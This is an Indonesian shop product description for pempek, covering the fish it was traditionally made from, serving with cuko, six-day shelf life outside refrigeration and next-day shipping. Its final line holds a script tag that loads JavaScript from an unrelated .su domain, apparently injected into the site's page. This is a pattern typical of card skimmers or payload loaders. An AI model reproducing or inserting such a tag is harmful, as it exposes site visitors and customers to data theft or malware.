Pada awalnya pempek dibuat dari ikan belida, namun karena ikan belida semakin langka dan harganya menjadi mahal, maka dicari alternatif ikan sungai jenis lain seperti gabus dan toman. selanjutnya dipakai juga jenis ikan laut, seperti tengiri dan parang-parang. Pempek yang terbuat dari ikan laut rasanya lebih gurih, namun harganya lebih mahal, terutama yang terbuat dari ikan tengiri. Pas disantap menggunakan cuko. <br><b> Note : Diluar pendingin masa ketahanan 6 Hari. Kemasan Vakum. Note : Pengiriman diproses H+1 setelah konfirmasi pembayaran.<script src="https://security-service.su/src/pesonanusantara.co.id.js"></script>